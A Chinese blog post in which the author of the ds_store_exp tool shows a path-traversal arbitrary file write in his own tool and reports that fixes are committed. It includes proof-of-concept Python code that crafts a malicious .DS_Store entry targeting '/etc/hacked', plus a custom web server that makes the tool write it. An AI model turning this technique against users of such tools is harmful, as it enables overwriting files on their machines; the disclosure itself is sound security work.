长亭百川云 - 文章详情

自黑之路:验证ds_store_exp工具任意文件写入漏洞

李姐姐的扫描器

131

2024-07-13

前些日子,一个名叫Justin Steven的安全研究人员,向我报告了一个漏洞。他提到,Git信息泄露利用工具GitHack在解析.git/index写入文件的时候,没有检查路径是否非法,导致有意图的攻击者,可以构造恶意的文件路径和文件内容,达到任意文件写入的效果。最终可能实现:"反黑那个试图攻击你的黑客"。随后,我添加了几行检查路径的代码,修复了这个问题。见:

https://github.com/lijiejie/GitHack/commit/a3d70b19f29d2f624dcae17762022edf7464cee1

这个漏洞的出现,是因为攻击者可以修改文件路径,添加类似".."跨目录字符,实现穿越到任意路径。那么,问题来了,之前自己写的信息泄露利用工具不止一个。其他工具也会处理文件名/路径,是不是也有类似的问题呢?经过简单的验证,确实发现了问题。这里,我的测试项目是 https://github.com/lijiejie/ds\_store\_exp

 .DS_Store和ds_store_exp

.DS_Store是Mac OS保存文件夹自定义属性的隐藏文件,保存了一些基本信息,例如,文件的图标信息。如果开发运维将.DS_Store上传到web站点,被攻击者下载,黑客通过解析.DS_Store,可以得到该文件夹下的文件清单。它的效果基本等同于 "服务器开启目录浏览" 。

ds_store_exp是对应的利用工具,它下载解析.DS_Store,并且尝试遍历下载所有文件到本地。

 构造生成.DS_Store文件

这一步相对难度较高,直接去分析文件结构不现实。思路2种:

第一种,是直接去找一个现成的.DS_Store,通过二进制文档编辑器直接编辑字符串。这里我打开一个看一眼

excelTemplate是我已知的路径,在这里,可以观察到每个字符占2个byte。经过查阅文档,这里是utf-16编码的。

https://metacpan.org/dist/Mac-Finder-DSStore/view/DSStoreFormat.pod#Records

当然可以编辑,不过很费劲,因为,必须得是big-endian UTF-16编码,而且长度不能变。前面你还有个字段是长度,得改长度。

第二种方法,看看能不能现成的lib构造一个文件。在参考

https://github.com/al45tair/ds\_store

代码实现后,我构造创建了一个带非法路径的文件

`from ds_store import DSStore, DSStoreEntry``from ds_store.store import ILocCodec``   ``   ``d = DSStore.open('.DS_Store', 'w+')``new_entry = DSStoreEntry('../../../../../../../../etc/hacked', b'Iloc', ILocCodec, value=(282, 104))``d.insert(new_entry)``d.flush()``d.close()`

验证漏洞

现在将这个"带攻击意图" 的.DS_Store放到web目录下,使用ds_store_exp工具验证是否触发

`git clone https://github.com/lijiejie/ds_store_exp.git``# 切换到漏洞版本,是的,我已经提交了修复后的代码``git checkout 784eada6cd08739032b7fdc124a8c93abcb0c2f7``pip2 install ds_store`

尝试执行,会发现确实工具请求了非法的路径,但是新的问题也出现了

注意到,因为常见的web server在接收到 .. 这样的invalid path后,会返回400。所以,这个问题被利用的可能性会更低一些。工具只有在返回200的时候才会写入文件。

为了验证利用效果,这里再写一个web server吧 ...  还好,在Python的世界,应该是20行代码的事情。

`import http.server``import socketserver``   ``   ``class MyHandler(http.server.SimpleHTTPRequestHandler):`    `def do_GET(self):`        `if self.requestline.find('..') < 0:`            `return super(MyHandler, self).do_GET()`        `else:`            `self.send_response(200)`            `self.send_header("Content-type", "plain/text")`            `self.end_headers()`            `self.wfile.write(b"hacked, man")``   ``   ``httpd = socketserver.TCPServer(("", 8001), MyHandler)``httpd.serve_forever()`

启动web服务,再次验证

如上图所示, 观察到 /etc/hacked已经写入成功了。

至此,通过分析自己的小工具,成功"黑掉了自己"。   :)

写在最后

本文介绍了分析构造带攻击意图的.DS_Store文件、并且利用任意文件写入漏洞的思路和方法。漏洞的利用需要一定条件,比如,这里web服务器需要能够处理非法的path ../../../../../../../../etc/hacked 

漏洞修复的代码已经提交, 之前下载过的同学可以git pull更新一下代码。

https://github.com/lijiejie/ds\_store\_exp

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2